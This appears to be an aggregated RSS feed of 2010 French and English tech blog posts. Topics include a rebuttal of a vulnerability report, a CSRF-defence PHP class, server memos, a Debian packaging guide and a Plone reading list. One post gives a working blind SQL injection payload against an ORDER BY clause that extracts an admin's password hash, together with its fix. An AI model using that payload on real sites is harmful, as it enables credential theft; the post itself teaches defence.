- BIND (n&amp;#8217;est pas installé par défaut) :&lt;br /&gt;
&lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4022&quot;&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4022&lt;/a&gt;&lt;br /&gt;
- EXT4 (pas par défaut non plus, seulement à partir de 10.04) :&lt;br /&gt;
&lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4131&quot;&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4131&lt;/a&gt; et&lt;br /&gt;
&lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4308&quot;&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4308&lt;/a&gt;&lt;br /&gt;
- KERNEL 2.6.32 : Il n&amp;#8217;est pas disponible avant ubuntu 10.04&lt;/p&gt;
&lt;p&gt;Il faudrait faire une analyse plus poussée mais il est clair qu&amp;#8217;ils n&amp;#8217;ont pas correctement ciblés les vulnérabilités.&lt;/p&gt;
&lt;h2&gt;Pertinence de la vitesse résolution&lt;/h2&gt;
&lt;p&gt;Quasiment tous les bugs microsoft sont marqués résolus en une journée alors que les mises-à-jour sont mensuelles&amp;#8230;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Voilà pour une analyse technique de ce rapport. C&amp;#8217;est un rapport volontairement approximatif.&lt;/p&gt;
&lt;p&gt;Encore un FUD.&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/encolpe.wordpress.com/478/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/encolpe.wordpress.com/478/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/encolpe.wordpress.com/478/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/encolpe.wordpress.com/478/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/encolpe.wordpress.com/478/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/encolpe.wordpress.com/478/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/encolpe.wordpress.com/478/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/encolpe.wordpress.com/478/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/encolpe.wordpress.com/478/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/encolpe.wordpress.com/478/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/encolpe.wordpress.com/478/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/encolpe.wordpress.com/478/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/encolpe.wordpress.com/478/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/encolpe.wordpress.com/478/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&amp;amp;blog=1743175&amp;amp;post=478&amp;amp;subd=encolpe&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
	<pubDate>mer, 24 nov 2010 00:02:52 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Cross-Site Request Forgery (CSRF) Overview and Defense</title>
	<guid>http://www.tuxz.net/blog/archives/2010/11/23/cross-site_request_forgery_csrf_overview_and_def/</guid>
	<link>http://www.tuxz.net/blog/archives/2010/11/23/cross-site_request_forgery_csrf_overview_and_def/</link>
	<description>&lt;p&gt;
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. &lt;br /&gt;
If the targeted end user is the administrator account, this can compromise the entire web application.&lt;br /&gt;
&lt;br /&gt;CSRF attacks are referenced today by &lt;a href=&quot;http://www.owasp.org&quot;&gt;OWASP&lt;/a&gt; as one of the Top 10 most critical web application security risks.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;How does it works ?&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;ol&gt;
        &lt;li&gt;User logs in &amp;amp; create session with web application &quot;MyApp&quot;&lt;/li&gt;
        &lt;li&gt;In another tab, it opens a session on &quot;evil.com&quot;&lt;/li&gt;
        &lt;li&gt;Using user's session credentials, &quot;evil.com&quot; make requests on &quot;MyApp&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;u&gt;&lt;b&gt;How to prevent CSRF ?&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
Preventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request.&lt;br /&gt;
The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure. &lt;i&gt;(cf. &lt;a href=&quot;http://www.owasp.org/index.php/Top_10_2010-A5&quot;&gt;Top 10 2010-A5-Cross-Site Request Forgery&lt;/a&gt;)&lt;/i&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;CSRF_Defense PHP Class&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
As it could be very long &amp;amp; boring to rewrite all the forms in an old bad-thought / unmaintained Web Application, I've written a small PHP class to automate CSRF prevention.&lt;br /&gt;
Just include the code below in an existing header include and all the forms in your web app will be auto-magically &quot;tokenized&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Please note that this solution is just a workaround, it's BETTER to implement those types of controls at the very beginning of the SDLC.&lt;/u&gt;
&lt;/p&gt;

&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
class CSRF_Defense {
    
        var $CSRF_token_form_field = 'CSRF_Token';
        var $_CSRF_Token = null;
        private $_secret = 'put_a_complex_secret_here'; 

        function __construct() {
                $sid = session_id();
                if ( empty($sid) ) {
                    return false;
                }

                // Generate CSRF Token
                $this-&amp;gt;gen_token();

                if ( !empty($_POST) ) {
                    if ( !array_key_exists( $this-&amp;gt;CSRF_token_form_field, $_POST ) 
                        || empty( $_POST[ $this-&amp;gt;CSRF_token_form_field ] ) ) {

                        $this-&gt;log_msg(&quot;[CSRF_Defense] :: Missing Token in POST&quot;);
                        return false;
                    }

                    $form_token = $_POST[ $this-&amp;gt;CSRF_token_form_field ];
                    if ( $form_token != $_SESSION['CSRF_Token'] ) {
                        $this-&amp;gt;log_msg(&quot;[CSRF_Defense] :: Invalid token {$this-&amp;gt;_CSRF_Token} (expected $form_token)&quot;);
                        return false;
                    }
                }

                // Store new generated token in session &amp;amp; insert from field
                $_SESSION['CSRF_Token'] = $this-&amp;gt;_CSRF_Token;
                ob_start(array($this, 'insert_field_callback'));
        }

        function gen_token() {
                $this-&amp;gt;_CSRF_Token = sha1( microtime() . $this-&amp;gt;_secret . session_id() . mt_rand(1,1000) );
        }

        function log_msg($msg) {
                // do whatever you want to here ...
                echo '&amp;lt;b&amp;gt;'.htmlspecialchars( $msg, ENT_QUOTES).'&amp;lt;/b&amp;gt;';
                die;
        }

        function insert_field_callback($html) {
                $frm_field = '&amp;lt;input type=&quot;hidden&quot; name=&quot;';
                $frm_field .= $this-&amp;gt;CSRF_token_form_field . '&quot; ';
                $frm_field .= 'value=&quot;' . $this-&amp;gt;_CSRF_Token . '&quot; /&amp;gt;';

                return preg_replace(
                    '/(&amp;lt;form\W[^&amp;gt;]*\bmethod=(\'|&quot;|)POST(\'|&quot;|)\b[^&amp;gt;]*&amp;gt;)/i',
                    '\\1'.$frm_field,
                    $html
                );
        }
}
?&amp;gt;
&lt;/pre&gt;

&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
session_start();
include_once(&quot;CSRF_Defense.php&quot;);

$csrf = new CSRF_Defense();
?&amp;gt;
&lt;/pre&gt;</description>
	<pubDate>mar, 23 nov 2010 21:48:24 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Cross-Site Request Forgery (CSRF) Overview and Defense</title>
	<guid>http://www.tuxz.net/blog/archives/2010/11/23/index.html#e2010-11-23T22_48_24.txt</guid>
	<link>http://www.tuxz.net/blog/archives/2010/11/23/index.html#e2010-11-23T22_48_24.txt</link>
	<description>&lt;p&gt;
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. &lt;br /&gt;
If the targeted end user is the administrator account, this can compromise the entire web application.&lt;br /&gt;
&lt;br /&gt;CSRF attacks are referenced today by &lt;a href=&quot;http://www.owasp.org&quot;&gt;OWASP&lt;/a&gt; as one of the Top 10 most critical web application security risks.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;How does it works ?&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;ol&gt;
        &lt;li&gt;User logs in &amp;amp; create session with web application &quot;MyApp&quot;&lt;/li&gt;
        &lt;li&gt;In another tab, it opens a session on &quot;evil.com&quot;&lt;/li&gt;
        &lt;li&gt;Using user's session credentials, &quot;evil.com&quot; make requests on &quot;MyApp&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;u&gt;&lt;b&gt;How to prevent CSRF ?&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
Preventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request.&lt;br /&gt;
The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure. &lt;i&gt;(cf. &lt;a href=&quot;http://www.owasp.org/index.php/Top_10_2010-A5&quot;&gt;Top 10 2010-A5-Cross-Site Request Forgery&lt;/a&gt;)&lt;/i&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;CSRF_Defense PHP Class&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
As it could be very long &amp;amp; boring to rewrite all the forms in an old bad-thought / unmaintained Web Application, I've written a small PHP class to automate CSRF prevention.&lt;br /&gt;
Just include the code below in an existing header include and all the forms in your web app will be auto-magically &quot;tokenized&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Please note that this solution is just a workaround, it's BETTER to implement those types of controls at the very beginning of the SDLC.&lt;/u&gt;
&lt;/p&gt;

&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
class CSRF_Defense {
    
        var $CSRF_token_form_field = 'CSRF_Token';
        var $_CSRF_Token = null;
        private $_secret = 'put_a_complex_secret_here'; 

        function __construct() {
                $sid = session_id();
                if ( empty($sid) ) {
                    return false;
                }

                // Generate CSRF Token
                $this-&amp;gt;gen_token();

                if ( !empty($_POST) ) {
                    if ( !array_key_exists( $this-&amp;gt;CSRF_token_form_field, $_POST ) 
                        || empty( $_POST[ $this-&amp;gt;CSRF_token_form_field ] ) ) {

                        $this-&gt;log_msg(&quot;[CSRF_Defense] :: Missing Token in POST&quot;);
                        return false;
                    }

                    $form_token = $_POST[ $this-&amp;gt;CSRF_token_form_field ];
                    if ( $form_token != $_SESSION['CSRF_Token'] ) {
                        $this-&amp;gt;log_msg(&quot;[CSRF_Defense] :: Invalid token {$this-&amp;gt;_CSRF_Token} (expected $form_token)&quot;);
                        return false;
                    }
                }

                // Store new generated token in session &amp;amp; insert from field
                $_SESSION['CSRF_Token'] = $this-&amp;gt;_CSRF_Token;
                ob_start(array($this, 'insert_field_callback'));
        }

        function gen_token() {
                $this-&amp;gt;_CSRF_Token = sha1( microtime() . $this-&amp;gt;_secret . session_id() . mt_rand(1,1000) );
        }

        function log_msg($msg) {
                // do whatever you want to here ...
                echo '&amp;lt;b&amp;gt;'.htmlspecialchars( $msg, ENT_QUOTES).'&amp;lt;/b&amp;gt;';
                die;
        }

        function insert_field_callback($html) {
                $frm_field = '&amp;lt;input type=&quot;hidden&quot; name=&quot;';
                $frm_field .= $this-&amp;gt;CSRF_token_form_field . '&quot; ';
                $frm_field .= 'value=&quot;' . $this-&amp;gt;_CSRF_Token . '&quot; /&amp;gt;';

                return preg_replace(
                    '/(&amp;lt;form\W[^&amp;gt;]*\bmethod=(\'|&quot;|)POST(\'|&quot;|)\b[^&amp;gt;]*&amp;gt;)/i',
                    '\\1'.$frm_field,
                    $html
                );
        }
}
?&amp;gt;
&lt;/pre&gt;

&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
session_start();
include_once(&quot;CSRF_Defense.php&quot;);

$csrf = new CSRF_Defense();
?&amp;gt;
&lt;/pre&gt;</description>
	<pubDate>mar, 23 nov 2010 21:48:24 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: SQL Injection : Exploiting the ORDER BY clause</title>
	<guid>http://www.tuxz.net/blog/archives/2010/11/21/index.html#e2010-11-21T15_08_18.txt</guid>
	<link>http://www.tuxz.net/blog/archives/2010/11/21/index.html#e2010-11-21T15_08_18.txt</link>
	<description>&lt;p&gt;
Actually reviewing some PHP code, I've seen a lot of bad implementations to protect websites from SQL injection, here is a small review of a way to exploit a bad filtered ORDER BY clause.&lt;br /&gt;
Injections generally exploit the WHERE clause in SQL statements, however it's also possible to abuse ORDER BY clause to extract sensitive data from the database, even if function like &lt;i&gt;mysqli_real_escape_string()&lt;/i&gt; (in PHP) are used.&lt;br /&gt;
&lt;br /&gt;
Considering that you have, in your application the following tables :
&lt;ul&gt;
  &lt;li&gt;&lt;b&gt;blog_users&lt;/b&gt;&lt;/li&gt;
    &lt;ul&gt;
      &lt;li&gt;id&lt;/li&gt;
      &lt;li&gt;username&lt;/li&gt;
      &lt;li&gt;password (MD5 hash)&lt;/li&gt;
      &lt;li&gt;group_id&lt;/li&gt;
    &lt;/ul&gt;
  &lt;li&gt;&lt;b&gt;blog_articles&lt;/b&gt;&lt;/li&gt;
    &lt;ul&gt;
      &lt;li&gt;id&lt;/li&gt;
      &lt;li&gt;title&lt;/li&gt;
      &lt;li&gt;body&lt;/li&gt;
      &lt;li&gt;published&lt;/li&gt;
      &lt;li&gt;date_published&lt;/li&gt;
    &lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
Example of vulnerable code :&lt;/p&gt;
&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
$sortBy = mysqli_real_escape_string( $_GET['sortCol'] );
$q = 'SELECT * FROM blog_articles WHERE published = true ORDER BY '.$sortBy.' DESC';
?&amp;gt;
&lt;/pre&gt;
&lt;p&gt;
Basically, &lt;i&gt;$_GET['sortCol']&lt;/i&gt; should get values such as &quot;title&quot;, &quot;id&quot;, &quot;date_published&quot;, however we'll use this variable to inject a conditional SQL statement to extract data from the blog_users table (we cannot use UNION in this case) :
&lt;/p&gt;
&lt;pre class=&quot;sh_sql&quot;&gt;
(CASE WHEN (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM blog_users where username = 0×61646D696E) = 65 
        THEN date_published 
        ELSE title 
END)&lt;/pre&gt;
&lt;p&gt;
Which will make the following request to be executed :
&lt;/p&gt;
&lt;pre class=&quot;sh_sql&quot;&gt;
SELECT * FROM blog_articles WHERE published = true
  ORDER BY (CASE WHEN (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM blog_users WHERE username = 0×61646D696E) = 48
              THEN date_published
              ELSE title END
            )
&lt;/pre&gt;
&lt;p&gt;
You'll end up with a list ordered by date if admin's first char of the password hash is '0' or ordered by title if it's not.&lt;br /&gt;
You only need to increment values/positions to find the whole MD5 hash (with a small hand-written script, it could be easily done ~512 attempts should be necessary to get the full hash).
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;How to protect from this ?&lt;/b&gt;&lt;/u&gt;
&lt;br /&gt;
Protecting scripts from this is quite easy, you can for example, validate user input (our &lt;i&gt;$_GET['sortCol']&lt;/i&gt; in this case) against a whitelist :&lt;br /&gt;
&lt;/p&gt;
&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
$whitelist = array('title','id','date_published');
if ( in_array( $_GET['sortCol'], $whitelist ) ) {
  $sortBy = $_GET['sortCol'];
} else {
  $sortBy = 'title';
}

$q = 'SELECT * FROM blog_articles WHERE published = true ORDER BY '.$sortBy.' DESC';
?&amp;gt;
&lt;/pre&gt;</description>
	<pubDate>dim, 21 nov 2010 14:08:18 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Sanitize your inputs</title>
	<guid>http://www.tuxz.net/blog/archives/2010/11/21/index.html#e2010-11-21T10_39_31.txt</guid>
	<link>http://www.tuxz.net/blog/archives/2010/11/21/index.html#e2010-11-21T10_39_31.txt</link>
	<description>&lt;p&gt;
        &lt;img src=&quot;http://imgs.xkcd.com/comics/exploits_of_a_mom.png&quot; /&gt;
&lt;/p&gt;</description>
	<pubDate>dim, 21 nov 2010 09:39:31 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Memo : How to setup lighttpd to use startssl certificates</title>
	<guid>http://www.tuxz.net/blog/archives/2010/11/17/index.html#e2010-11-17T20_35_57.txt</guid>
	<link>http://www.tuxz.net/blog/archives/2010/11/17/index.html#e2010-11-17T20_35_57.txt</link>
	<description>Start by downloading ssl.key, ssl.crt, intermediate and root CA certs from the control panel.&lt;br /&gt;
&lt;br /&gt;Decrypt private key :&lt;br /&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;$ openssl rsa -in ssl.key -out ssl.key&lt;/pre&gt;

Add key to certificate :
&lt;pre class=&quot;sh_sh&quot;&gt;$ cat ssl.key &gt;&gt; ssl.crt&lt;/pre&gt;

Create an unified chain cert :
&lt;pre class=&quot;sh_sh&quot;&gt;$ cat ca.pem sub.class2.server.ca.pem &gt;&gt; ca-certs.crt&lt;/pre&gt;

Configure lighttpd to use the brand new created certificate :
&lt;pre class=&quot;sh_sh&quot;&gt;
   ssl.engine  = &quot;enable&quot;
   ssl.ca-file = &quot;/etc/lighttpd/certs/ca-certs.crt&quot;
   ssl.pemfile = &quot;/etc/lighttpd/certs/ssl.crt&quot;
&lt;/pre&gt;</description>
	<pubDate>mer, 17 nov 2010 19:35:57 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Memo : quite useful commands 1/?</title>
	<guid>http://www.tuxz.net/blog/archives/2010/11/04/index.html#e2010-11-04T18_10_33.txt</guid>
	<link>http://www.tuxz.net/blog/archives/2010/11/04/index.html#e2010-11-04T18_10_33.txt</link>
	<description>Just for my &quot;goldfish memory&quot; :
&lt;ul&gt;&lt;li&gt;Remove all useless installed kernel packages in Debian GNU/Linux :&lt;/li&gt;&lt;/ul&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;dpkg -l 'linux-*' | sed '/^ii/!d;/'&quot;$(uname -r | sed &quot;s/\(.*\)-\([^0-9]\+\)/\1/&quot;)&quot;'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo aptitude purge&lt;/pre&gt;

&lt;ul&gt;&lt;li&gt;Write to a file opened in vim without needed permissions (system ...) :&lt;/li&gt;&lt;/ul&gt; 
&lt;pre class=&quot;sh_sh&quot;&gt;:w !sudo tee %&lt;/pre&gt;

&lt;ul&gt;&lt;li&gt;Diff 2 remote webpages :&lt;/li&gt;&lt;/ul&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;diff  $(wget -q -O - http://www.foo.tld/oldbar/)  $(wget -q -O - http://www.foo.tld/bar/)&lt;/pre&gt;

&lt;ul&gt;&lt;li&gt;Unban given IP blacklisted by fail2ban :&lt;/li&gt;&lt;/ul&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;iptables -D fail2ban-SSH -s banned_ip_address -j DROP&lt;/pre&gt;

&lt;ul&gt;&lt;li&gt;Cheap strong password generator :&lt;/li&gt;&lt;/ul&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;tr -cd &quot;[:graph:]&quot;  /dev/urandom | head -c 40;echo &quot;&quot;&lt;/pre&gt;</description>
	<pubDate>jeu, 04 nov 2010 17:10:33 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Debian Metapackage creation quick guide</title>
	<guid>http://www.tuxz.net/blog/archives/2010/10/21/index.html#e2010-10-21T19_25_15.txt</guid>
	<link>http://www.tuxz.net/blog/archives/2010/10/21/index.html#e2010-10-21T19_25_15.txt</link>
	<description>&lt;p&gt;As promised to a friend, here's a small article to explain how to create a Debian Metapackage to ease installation of needed tools on a new environment.&lt;br /&gt;
&lt;br /&gt;A metapackage is a simple Debian package without software inside but depending on other packages. By installing it, all dependencies will also be installed.
&lt;/p&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;
$ mkdir -p ~/hack/tuxz-cli/DEBIAN

## Create &quot;control&quot; file, change the values according to your needs
## The &quot;Depends&quot; fields should contain all the packages you want to be automatically installed
$ cat &gt; ~/hack/tuxz-cli/DEBIAN/control
Package: tuxz-cli
Version: 0.1
Section: main
Priority: optional
Architecture: all
Depends: zsh, screen, curl, netcat, htop, nmap, tcpdump, vim, openssh-client, lftp, w3m, mutt, dns2tcp, dpkg-dev, git, subversion
Installed-Size:
Maintainer: Alexandre De Dommelin  foo@bar.com &gt;
Description: Meta Package to install useful CLI tools
 Ctrl - d &gt;


## Here is a minimal &quot;postinst&quot; file, you can add various tasks to be performed after installation ## 
$ cat &gt; ~/hack/tuxz-cli/DEBIAN/postinst
#!/bin/sh
# postinst script for tuxz-cli
#
# see: dh_installdeb(1)
set -e

case &quot;$1&quot; in
  configure)
    echo &quot;Configuration done.&quot;
  ;;

    abort-upgrade|abort-remove|abort-deconfigure)
  ;;

  *)
    echo &quot;:: Postinst :: Unknown argument '$1'&quot; &gt;&amp;amp;2
    exit 1
  ;;


exit 0
 Ctrl - d &gt;


$ chmod 755 ~/hack/tuxz-cli/DEBIAN
$ chmod 555 ~/hack/tuxz-cli/DEBIAN/postinst

$ cd ~/hack/

## Generate the package
$ dpkg-deb -b tuxz-cli tuxz-cli.deb

## Installation
$ sudo dpkg -i ./tuxz-cli.deb
&lt;/pre&gt;</description>
	<pubDate>jeu, 21 oct 2010 18:25:15 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: Ceux qui rendent les révolutions pacifiques impossibles rendent les révolutions violentes inévitables  | ReadWriteWeb France</title>
	<guid>urn:md5:53735c1266509eb8379cc5b0ed38b577</guid>
	<link>http://blog.alio.fr/?post/2010/09/24/Ceux-qui-rendent-les-r%C3%A9volutions-pacifiques-impossibles-rendent-les-r%C3%A9volutions-violentes-in%C3%A9vitables%C2%A0-%7C-ReadWriteWeb-France</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://fr.readwriteweb.com/2010/09/24/a-la-une/ceux-qui-rendent-les-rvolutions-pacifiques-impossibles-rendent-les-rvolutions-violentes-invitables/&quot;&gt;Ceux qui rendent les révolutions pacifiques impossibles rendent les révolutions violentes inévitables - ReadWriteWeb France&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://blog.alio.fr/?post/2010/09/24/...&quot; title=&quot;...&quot;&gt;...&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;fréquen­ter assidûment du poli­tique a un immense mérite. A force de les voir de près, l'idée d'un trou­peau d'abrutis incultes cher­chant déses­pé­ré­ment à appliquer des lois à un uni­vers qui leur échappe ne tient pas vrai­ment la route.&lt;/p&gt;&lt;/blockquote&gt;


&lt;blockquote&gt;&lt;p&gt;L'ignorance crasse du poli­tique français pour tout ce qui relève des tech­no­lo­gies est un arbre qui cache la forêt. Une stra­té­gie que l'on trouve chez beau­coup de jolies filles qui jouent à la cruche en s'appuyant sur les préju­gés machistes d'une &quot;mal­heu­reuse vic­time&quot;, pour mieux en jouer.&lt;/p&gt;&lt;/blockquote&gt;


&lt;blockquote&gt;&lt;p&gt;Les poli­tiques ont beau n'y rien com­prendre à inter­net, ce ne sont pas des abru­tis pour autant. Je fais le pari, de mon coté, que Marland-Militello sait par­fai­te­ment ce qu'elle fait. Elle mise sur l'escalade du conflit. Pire encore, ce n'est pro­ba­ble­ment pas un acte isolé, mais une véri­table stra­té­gie mis au point par la branche &quot;dure&quot; de la coa­li­tion Etat/ayants droit.&lt;/p&gt;&lt;/blockquote&gt;</description>
	<pubDate>jeu, 23 sep 2010 22:00:00 +0000</pubDate>
</item>
<item>
	<title>Encolpe DEGOUTE: Que lire pour faire du Plone</title>
	<guid>http://encolpe.wordpress.com/?p=451</guid>
	<link>http://encolpe.wordpress.com/2010/08/12/que-lire-pour-faire-du-plone/</link>
	<description>&lt;p&gt;Plutôt que de faire une revue des deux ouvrages paru cet été sur Plone je vais vous présenter l&amp;#8217;état des lieux des publications autour de Plone.&lt;/p&gt;
&lt;h2&gt;Du développement à la documentation&lt;/h2&gt;
&lt;p&gt;En quelques années la communauté Plone a évolué, s&amp;#8217;est structurée.Il  n&amp;#8217;y a pas plus de contributeurs mais des contributeurs plus réguliers  qui se concentre sur des plateformes. Le renouvellement de la communauté  a démarré avec  l&amp;#8217;arrivée de Plone 3 et du livre de Martin Aspeli  «Professional Plone Development». Plone 3 a apporté un niveau de  complexité supplémentaire dans le développement ce qui a forcé nombre de  contributeurs à faire un bilan de leurs compétences et réapprendre de  nouvelles techniques, non sans heurts.&lt;/p&gt;
&lt;p&gt;«Professional Plone Development»  fut le premier livre à présenter les nouvelles techniques de Plone 3.  Son succès dans la communauté a suscité des vocations et a encouragé  l&amp;#8217;éditeur à continuer avec cette technologie. Depuis les ouvrages ont  fleuri et Plone 4 n&amp;#8217;est pas sorti qu&amp;#8217;ils abordent déjà certaines  technologies développées pour cette plateforme. La liste des ouvrages publiés chez Packt est éloquente : &lt;a href=&quot;http://www.packtpub.com/books?keys=Plone&quot; target=&quot;_blank&quot;&gt;Packt books about Plone&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Le site web de http://www.plone.org aussi a évolué avec la création d&amp;#8217;un groupe de travail sur la documentation qui met à jour en permanence les techniques à connaitre et les bonnes pratiques. D&amp;#8217;ailleurs nombre des contributeurs de ce groupe ont aussi publiés le ouvrage.&lt;/p&gt;
&lt;p&gt;Au moment où je relis ces lignes,  le blog Plonemetrics publie un article sur les&lt;a href=&quot;http://plonemetrics.blogspot.com/2010/08/amazon-sales-ranks-for-plone-books.html&quot; target=&quot;_blank&quot;&gt; statistiques de vente des ouvrages sur Plone chez Amazon&lt;/a&gt;. Sachant que Packt vend énormément en direct sur sur site, ses statistiques ne sont que la face émergée de l&amp;#8217;iceberg. Cela montre tout de même  l&amp;#8217;engouement réel dans Plone de nombre d&amp;#8217;utilisateurs et de développeurs.&lt;/p&gt;
&lt;h2&gt;Tableau récapitulatif&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Titre&lt;/th&gt;
&lt;th&gt;Date de&lt;br /&gt;
parution&lt;/th&gt;
&lt;th&gt;Cible&lt;/th&gt;
&lt;th&gt;Commentaires&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.packtpub.com/Professional-Plone-web-applications-CMS/book&quot; target=&quot;_blank&quot;&gt;Professional Plone Development&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sept 2007&lt;/td&gt;
&lt;td&gt;Développeur connaissant Plone 2.5 ou Zope 3&lt;/td&gt;
&lt;td&gt;Ce livre a vieilli. Même si tous les concepts présentés sont toujours utilisés dans Plone 3.3 et Plone 4.0 la plupart des exemples ne fonctionnent plus.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;http://www.amazon.com/Users-Guide-Plone-Updated/dp/0615240178/ref=sr_1_17?s=books&amp;amp;ie=UTF8&amp;amp;qid=1281578074&amp;amp;amp ;sr=1-17&quot; target=&quot;_blank&quot;&gt;A User&amp;#8217;s Guide to Plone: Updated for Plone 3&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Août 2008&lt;/td&gt;
&lt;td&gt;Utilisateurs et créateurs de contenu&lt;/td&gt;
&lt;td&gt;Quasiment rien n&amp;#8217;a changé entre Plone 3.0 et 3.3. C&amp;#8217;est l&amp;#8217;ouvrage idéal pour l&amp;#8217;autoformation des nouveaux webmaster.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.packtpub.com/practical-plone-3-beginners-guide-to-building-powerful-websites/book&quot; target=&quot;_blank&quot;&gt;Practical Plone 3&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Fév 2009&lt;/td&gt;
&lt;td&gt;Développeurs débutants et webmasters&lt;/td&gt;
